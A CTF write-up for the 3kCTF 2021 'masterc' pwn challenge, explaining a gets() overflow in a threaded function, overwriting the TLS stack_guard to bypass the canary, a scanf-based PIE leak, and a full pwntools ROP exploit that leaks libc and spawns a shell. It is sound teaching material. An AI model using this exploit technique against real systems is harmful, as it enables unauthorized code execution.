3kCTF 2021: masterc (Pwn)

Threaded win? is that even a thing?

nc masterc.2021.3k.ctf.to 9999

files

In this challenge, we are provided with a tarball. Upon unpacking it, we are presented with the following files.

vagrant in pwnbox in /CTF/3kctf-2021/
❯ tree masterc
masterc
├── Dockerfile
├── bin
│   ├── flag.txt
│   ├── ld-2.31.so
│   ├── libc-2.31.so
│   └── masterc
├── ctf.xinetd
├── dockerbuild.sh
├── src
│   └── masterc.c
└── start.sh

How nice, they even provided us with the source code! But let’s not get ahead of ourselves. Lets start off by checking what security mitigations are present in the binary.

vagrant in pwnbox in masterc/bin
❯ checksec masterc
[*] '/CTF/3kctf-2021/masterc/bin/masterc'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Wow, seems like most of the mitigations are enabled. Looks like this will get pretty interesting. Perhaps we should play around with the binary to get a better idea of what it does.

vagrant in pwnbox in masterc/bin
❯ ./masterc
Enter the size : 1
Enter the number of tries : 1
Enter your guess : 1
Sorry, that was the last guess!
You entered 1 but the right number was 1670024690
I don't think you won the game if you made it until here ...
But maybe a threaded win can help?
>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)

Well, what do u know? Seems like we found a buffer overflow vulnerability in the input above. Running it in GDB should give us more context.

vagrant in pwnbox in masterc/bin
❯ gdb -q ./masterc
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./masterc...done.
pwndbg> r
Starting program: /CTF/3kctf-2021/masterc/bin/masterc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter the size : 1
Enter the number of tries : 1
Enter your guess : 1
Sorry, that was the last guess!
You entered 1 but the right number was 983362954
I don't think you won the game if you made it until here ...
But maybe a threaded win can help?
[New Thread 0x7ffff77c2700 (LWP 31150)]
>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated

Thread 2 "masterc" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff77c2700 (LWP 31150)]
__GI_raise ([email protected]=6) at ../sysdeps/unix/sysv/linux/raise.c:51
51      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
 RAX  0x0
 RBX  0x7ffff77c1d00 ◂— 0x0
 RCX  0x7ffff7801fb7 (raise+199) ◂— mov    rcx, qword ptr [rsp + 0x108]
 RDX  0x0
 RDI  0x2
 RSI  0x7ffff77c1a60 ◂— 0x0
 R8   0x0
 R9   0x7ffff77c1a60 ◂— 0x0
 R10  0x8
 R11  0x246
 R12  0x7ffff77c1d00 ◂— 0x0
 R13  0x1000
 R14  0x0
 R15  0x30
 RBP  0x7ffff77c1e90 —▸ 0x7ffff79798f1 ◂— cmp    al, 0x75 /* '<unknown>' */
 RSP  0x7ffff77c1a60 ◂— 0x0
 RIP  0x7ffff7801fb7 (raise+199) ◂— mov    rcx, qword ptr [rsp + 0x108]
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
 ► 0x7ffff7801fb7 <raise+199>    mov    rcx, qword ptr [rsp + 0x108] <0x7ffff7801fb7>
   0x7ffff7801fbf <raise+207>    xor    rcx, qword ptr fs:[0x28]
   0x7ffff7801fc8 <raise+216>    mov    eax, r8d
   0x7ffff7801fcb <raise+219>    jne    raise+252 <raise+252>
    ↓
   0x7ffff7801fec <raise+252>    call   __stack_chk_fail <__stack_chk_fail>

   0x7ffff7801ff1                nop    word ptr cs:[rax + rax]
   0x7ffff7801ffb                nop    dword ptr [rax + rax]
   0x7ffff7802000 <killpg>       test   edi, edi
   0x7ffff7802002 <killpg+2>     js     killpg+16 <killpg+16>

   0x7ffff7802004 <killpg+4>     neg    edi
   0x7ffff7802006 <killpg+6>     jmp    kill <kill>
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsi r9 rsp  0x7ffff77c1a60 ◂— 0x0
... ↓
04:0020│             0x7ffff77c1a80 ◂— 0xffffffff
05:0028│             0x7ffff77c1a88 ◂— 0x0
06:0030│             0x7ffff77c1a90 —▸ 0x7ffff77ccf90 ◂— lock add byte ptr [rax], r8b
07:0038│             0x7ffff77c1a98 —▸ 0x7ffff7fe14f0 —▸ 0x7ffff77c3000 ◂— jg     0x7ffff77c3047
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
 ► f 0     7ffff7801fb7 raise+199
   f 1     7ffff7803921 abort+321
   f 2     7ffff784c967 __libc_message+631
   f 3     7ffff78f7b61 __fortify_fail_abort+49
   f 4     7ffff78f7b22
   f 5     555555555483 win+77
   f 6 4141414141414141
   f 7 4141414141414141
──────────────────────────────────────────────────────────────────────────────────────────────────────

The most interesting part about the GDB output above lies in [New Thread 0x7ffff77c2700 (LWP 31150)]. This tells us that the binary spawns a new thread to run the win() function. This can be verified by cross referencing with the provided source code.

pthread_t tid;
pthread_create(&tid, NULL, (void*)win, NULL);
pthread_join(tid, NULL);

As seen above, win() is called in a separate thread. This is big because it allows us to bypass the stack protector (canary), thereby creating an opportunity for us to use ROP to pwn this challenge.

In order to understand how this works, we need to understand the mechanism behind the stack protector.

pwndbg> disass win
Dump of assembler code for function win:
   0x0000000000001436 <+0>:     endbr64
   0x000000000000143a <+4>:     push   rbp
   0x000000000000143b <+5>:     mov    rbp,rsp
   0x000000000000143e <+8>:     sub    rsp,0x20
   0x0000000000001442 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x000000000000144b <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000000144f <+25>:    xor    eax,eax
   0x0000000000001451 <+27>:    lea    rdi,[rip+0xbb7]        # 0x200f
   0x0000000000001458 <+34>:    call   0x1140 <[email protected]>
   0x000000000000145d <+39>:    lea    rax,[rbp-0x20]
   0x0000000000001461 <+43>:    mov    rdi,rax
   0x0000000000001464 <+46>:    mov    eax,0x0
   0x0000000000001469 <+51>:    call   0x11c0 <[email protected]>
   0x000000000000146e <+56>:    nop
   0x000000000000146f <+57>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000001473 <+61>:    xor    rax,QWORD PTR fs:0x28
   0x000000000000147c <+70>:    je     0x1483 <win+77>
   0x000000000000147e <+72>:    call   0x1150 <[email protected]>
   0x0000000000001483 <+77>:    leave
   0x0000000000001484 <+78>:    ret
End of assembler dump.

With reference to the disassembly of win as seen above, we observe the presence of the following snippet of disassembly in the function prologue.

   0x0000000000001442 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x000000000000144b <+21>:    mov    QWORD PTR [rbp-0x8],rax

Based on our understanding of how a x64 stack frame is laid out, we should know that rbp-0x8 should contain the value of the stack canary. As seen above, the value at fs:0x28 is copied into rbp-0x8 which implies that fs:0x28 should contain the value of the canary.

   0x000000000000146f <+57>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000001473 <+61>:    xor    rax,QWORD PTR fs:0x28
   0x000000000000147c <+70>:    je     0x1483 <win+77>
   0x000000000000147e <+72>:    call   0x1150 <[email protected]>

We can confirm our hypothesis by observing that the function epilogue contains the above disassembly. The value at rbp-0x8 is loaded into rax and subsequently xor-ed with the value at fs:0x28 to check it’s equivalence using the self-inverting property of xor. If it’s not equivalent, __stack_chk_fail is called and the “stack smashing detected” message should pop up.

So what’s the significance of all this? Lets break at the gets() function responsible for the buffer overflow vulnerability to find out.

pwndbg> context disassembly
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
 ► 0x555555555469 <win+51>         call   [email protected] <[email protected]>
        rdi: 0x7ffff77c1ed0 ◂— 0x0
        rsi: 0x7ffff7baf7e3 (_IO_2_1_stdout_+131) ◂— 0xbb08c0000000000a /* '\n' */
        rdx: 0x7ffff7bb08c0 (_IO_stdfile_1_lock) ◂— 0x0
        rcx: 0x7ffff78d3257 (write+71) ◂— cmp    rax, -0x1000 /* 'H=' */

   0x55555555546e <win+56>         nop
   0x55555555546f <win+57>         mov    rax, qword ptr [rbp - 8]
   0x555555555473 <win+61>         xor    rax, qword ptr fs:[0x28]
   0x55555555547c <win+70>         je     win+77 <win+77>

   0x55555555547e <win+72>         call   [email protected] <[email protected]>

   0x555555555483 <win+77>         leave
   0x555555555484 <win+78>         ret

   0x555555555485 <play_game>      endbr64
   0x555555555489 <play_game+4>    push   rbp
   0x55555555548a <play_game+5>    mov    rbp, rsp
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack
00:0000│ rdi rsp  0x7ffff77c1ed0 ◂— 0x0
... ↓
02:0010│          0x7ffff77c1ee0 —▸ 0x7ffff77c2700 ◂— 0x7ffff77c2700
03:0018│          0x7ffff77c1ee8 ◂— 0xf6f5753eabcde400
04:0020│ rbp      0x7ffff77c1ef0 ◂— 0x0
05:0028│          0x7ffff77c1ef8 —▸ 0x7ffff7bbb6db (start_thread+219) ◂— mov    qword ptr fs:[0x630], rax
06:0030│          0x7ffff77c1f00 ◂— 0x0
07:0038│          0x7ffff77c1f08 —▸ 0x7ffff77c2700 ◂— 0x7ffff77c2700
pwndbg> p/x $fs_base
$1 = 0x7ffff77c2700
pwndbg> vmmap stack
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
pwndbg> p/d ($fs_base-0x7ffff77c1ed0)
$2 = 2096

Observe that,

  1. our (unbounded) input would be read into 0x7ffff77c1ed0 (on the stack)
  2. the location pointed to by fs is located at 0x7ffff77c2700 (also on the stack).

If we calculate the delta, both addresses are merely 2096 bytes away from each other. We can reach the location pointer to by fs with our input since gets does an unbounded read.

To comprehend this phenomena, we need to understand what fs points to in the first place. According to an article on StackGuard,

__stack_chk_guard can be stored in various places; some architectures use TLS (Thread-local Storage) data for it.

Okay great. But what is the TLS data doing on the stack to begin with?

If we take a peek into the glibc 2.31 source code for stack allocation, we would chance upon the following:

# Snippet from glibc 2.31 source nptl/allocatestack.c

/* We place the thread descriptor at the end of the stack.  */
  *pdp = pd;

# if _STACK_GROWS_DOWN
  void *stacktop;

# if TLS_TCB_AT_TP
/* The stack begins before the TCB and the static TLS block.  */
  stacktop = ((char *) (pd + 1) - __static_tls_size);

According to what we just found, a structure called the Thread Control Block (TCB) is placed at the top of the stack. Lets take a peek at the tls header file to gain some insight as to what the TCB struct contains.

# Snippet from glibc 2.31 source sysdeps/x86_64/nptl/tls.h

typedef struct
{
  void *tcb;            /* Pointer to the TCB.  Not necessarily the
                           thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;           /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

  void *__padding[8];
} tcbhead_t;

Bingo! So that’s where the stack_guard is stored. We can actually confirm this in GDB by casting fs as type (tcbhead_t *).


pwndbg> p/x *((tcbhead_t *)$fs_base)
$5 = {
  tcb = 0x7ffff77c2700,
  dtv = 0x555555559270,
  self = 0x7ffff77c2700,
  multiple_threads = 0x1,
  gscope_flag = 0x0,
  sysinfo = 0x0,
  stack_guard = 0xf6f5753eabcde400,
  pointer_guard = 0x70c617bfb6ee6e93,
  vgetcpu_cache = {0x0, 0x0},
  __glibc_reserved1 = 0x0,
  __glibc_unused1 = 0x0,
  __private_tm = {0x0, 0x0, 0x0, 0x0},
  __private_ss = 0x0,
  __glibc_reserved2 = 0x0,
  __glibc_unused2 = {{{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}, {{
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }, {
        i = {0x0, 0x0, 0x0, 0x0}
      }}},
  __padding = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
}

We can go a step further by printing the stack_guard field directly.

pwndbg> p/x ((tcbhead_t *)$fs_base)->stack_guard
$6 = 0xf6f5753eabcde400
pwndbg> canary
AT_RANDOM = 0x7fffffffe529 # points to (not masked) global canary value
Canary    = 0xf6f5753eabcde400
Found valid canaries on the stacks:
00:0000│   0x7ffff77c1ee8 ◂— 0xf6f5753eabcde400
00:0000│   0x7ffff77c1f98 ◂— 0xf6f5753eabcde400
00:0000│   0x7ffff77c2728 ◂— 0xf6f5753eabcde400
00:0000│   0x7ffff77c1ee8 ◂— 0xf6f5753eabcde400
00:0000│   0x7ffff77c1f98 ◂— 0xf6f5753eabcde400
00:0000│   0x7ffff77c2728 ◂— 0xf6f5753eabcde400

As depicted above the value of stack_guard is 0xf6f5753eabcde400 which matches the value of the canaries present on the stack, quod erat demonstrandum.

So how do we bypass the canary check? Simply ensure that we overflow stack_guard with a value of our choice, and ensure that we trample over rbp-0x8 with said value when we perform our ROP exploit.

Now that we’ve figured out how to bypass the canary check, we still need leak a PIE address so that we can calcuate our PIE base. The solution to this lies in the input for our guess.

pwndbg> context code
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /CTF/3kctf-2021/masterc/src/main.c
   13   } while(c != e);
   14 }
   15
   16 void get_ul(unsigned long* num) {
   17     fflush(stdout);
 ► 18     scanf("%lu", num);
   19     readuntil('\n');
   20 }
   21
   22 int get_int() {
   23     int d;
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> context disassembly
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
 ► 0x555555555371 <get_ul+50>     call   [email protected] <[email protected]>
        format: 0x555555556008 ◂— 0x3e00642500756c25 /* '%lu' */
        vararg: 0x7fffffffe188 —▸ 0x555555555579 (set_number_of_tries+39)

   0x555555555376 <get_ul+55>     mov    edi, 0xa
   0x55555555537b <get_ul+60>     call   readuntil <readuntil>

   0x555555555380 <get_ul+65>     nop
   0x555555555381 <get_ul+66>     leave
   0x555555555382 <get_ul+67>     ret

   0x555555555383 <get_int>       endbr64
   0x555555555387 <get_int+4>     push   rbp
   0x555555555388 <get_int+5>     mov    rbp, rsp
   0x55555555538b <get_int+8>     sub    rsp, 0x10
   0x55555555538f <get_int+12>    mov    rax, qword ptr fs:[0x28]
──────────────────────────────────────────────────────────────────────────────────────────────────────

Observe that,

  1. Guess is read in using scanf("%lu", num)
  2. Value of num before calling scanf is set_number_of_tries+39 which is a PIE address.

Additionally, take note of the following excerpt from the scanf man page.

The format string consists of a sequence of directives which describe how to process the sequence of input characters. If processing of a directive fails, no further input is read, and scanf() returns. A “failure” can be either of the following: input failure, meaning that input characters were unavailable, or matching failure, meaning that the input was inappropriate

Therefore, we can preserve the initial value of num by supplying an “inappropriate” value for the "%lu" format string such as "a".

pwndbg> r
Starting program: /CTF/3kctf-2021/masterc/bin/masterc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter the size : 1
Enter the number of tries : 1
Enter your guess : a
Sorry, that was the last guess!
You entered 93824992236921 but the right number was 418023495

pwndbg> telescope 93824992236921
00:0000│   0x555555555579 (set_number_of_tries+39) ◂— mov    dword ptr [rbp - 4], eax

pwndbg> xinfo 93824992236921
Extended information for virtual address 0x555555555579:

  Containing mapping:
    0x555555555000     0x555555556000 r-xp     1000 1000   /CTF/3kctf-2021/masterc/bin/masterc

  Offset information:
         Mapped Area 0x555555555579 = 0x555555555000 + 0x579
         File (Base) 0x555555555579 = 0x555555554000 + 0x1579
      File (Segment) 0x555555555579 = 0x555555555000 + 0x579
         File (Disk) 0x555555555579 = /CTF/3kctf-2021/masterc/bin/masterc + 0x1579

 Containing ELF sections:
               .text 0x555555555579 = 0x555555555220 + 0x359

As seen above, we’ve managed to preserve the value of num by providing "a" as an input. Furthermore, the program logic (conveniently) provides us with the value of our guess thus leaking a PIE address. From this point on, this challenge can be tackled as a “textbook” ROP challenge i.e. leak libc base, return to one gadget/system/execve. The following script implements our exploit.

from pwn import *


HOST = "masterc.2021.3k.ctf.to"
PORT = 9999
FLAG_FORMAT = "3k{\w+}"
REMOTE_FLAGPATH = "/flag.txt"

CHALLENGE = "./bin/masterc"
TARGET_LIBC = "./bin/libc-2.31.so"

TCB_OFFSET = 0x7FFFF77C2700 - 0x7FFFF77C1ED0
STACK_GUARD_OFFSET = TCB_OFFSET + 0x28
CANARY_OFFSET = 0x7FFFF77C1EE8 - 0x7FFFF77C1ED0
RIP_OFFSET = CANARY_OFFSET + 8 + 8

SIZE_PROMPT = b"Enter the size : "
TRIES_PROMPT = b"Enter the number of tries : "
GUESS_PROMPT = b"Enter your guess : "
INPUT_PROMPT = b"> \n"

GUESS_MARKER = b"You entered "
RIGHT_MARKER = b"right number was "

DUMMY_CANARY = p64(0xDEADBEEFDEADBEEF)


def leak_address():
    return u64(io.recvline().rstrip().ljust(8, b"\x00"))


elf = context.binary = ELF(CHALLENGE, checksec=0)

if args.REMOTE:
    libc = ELF(TARGET_LIBC, checksec=0)
    io = remote(HOST, PORT)
else:
    libc = elf.libc
    io = elf.process()

with log.progress("Stage 1: Leak PIE address"):
    io.sendlineafter(SIZE_PROMPT, str(1))
    io.sendlineafter(TRIES_PROMPT, str(1))
    io.sendlineafter(GUESS_PROMPT, "a")

    io.recvuntil(GUESS_MARKER)
    pie_1579 = int(io.recvuntil(" ")[:-1])
    elf.address = pie_1579 - 0x1579

    log.success(f"pie @ {hex(elf.address)}")

with log.progress("Stage 2: Overwrite Stack Guard and leak libc base"):
    rop = ROP(elf)
    rop.puts(elf.got.puts)
    rop.win()

    io.sendlineafter(
        INPUT_PROMPT,
        flat(
            {
                CANARY_OFFSET: DUMMY_CANARY,
                RIP_OFFSET: rop.chain(),
                STACK_GUARD_OFFSET: DUMMY_CANARY,
            }
        ),
    )

    libc_puts = leak_address()
    libc.address = libc_puts - libc.sym.puts

    log.success(f"libc @ {hex(libc.address)}")

with log.progress("Stage 3: Pwn"):
    rop1 = ROP([elf, libc])
    rop1.execve(next(libc.search(b"/bin/sh\x00")), 0, 0)

    io.sendlineafter(
        INPUT_PROMPT,
        flat({CANARY_OFFSET: DUMMY_CANARY, RIP_OFFSET: rop1.chain()}),
    )

if args.REMOTE:
    io.sendline(f"cat {REMOTE_FLAGPATH}")
    log.success(f"Flag: {io.recvline_regexS(FLAG_FORMAT)}")
    io.close()
else:
    io.interactive()

Running the above exploit yields us the flag.

vagrant in pwnbox in 3kctf-2021/masterc
❯ python xpl.py REMOTE
[+] Opening connection to masterc.2021.3k.ctf.to on port 9999: Done
[+] Stage 1: Leak PIE address: Done
[+] pie @ 0x557ccf106000
[+] Stage 2: Overwrite Stack Guard and leak libc base: Done
[*] Loaded 14 cached gadgets for './bin/masterc'
[+] libc @ 0x7f30cf1a9000
[+] Stage 3: Pwn: Done
[*] Loaded 201 cached gadgets for './bin/libc-2.31.so'
[+] Flag: 3k{WH47_Pr3V3N7_Y0U_Fr0M_r0PP1N6_1F_Y0U_C4N_0V3rWr173_7H3_M4573r_C4N4rY_17531F}

Flag: 3k{WH47_Pr3V3N7_Y0U_Fr0M_r0PP1N6_1F_Y0U_C4N_0V3rWr173_7H3_M4573r_C4N4rY_17531F}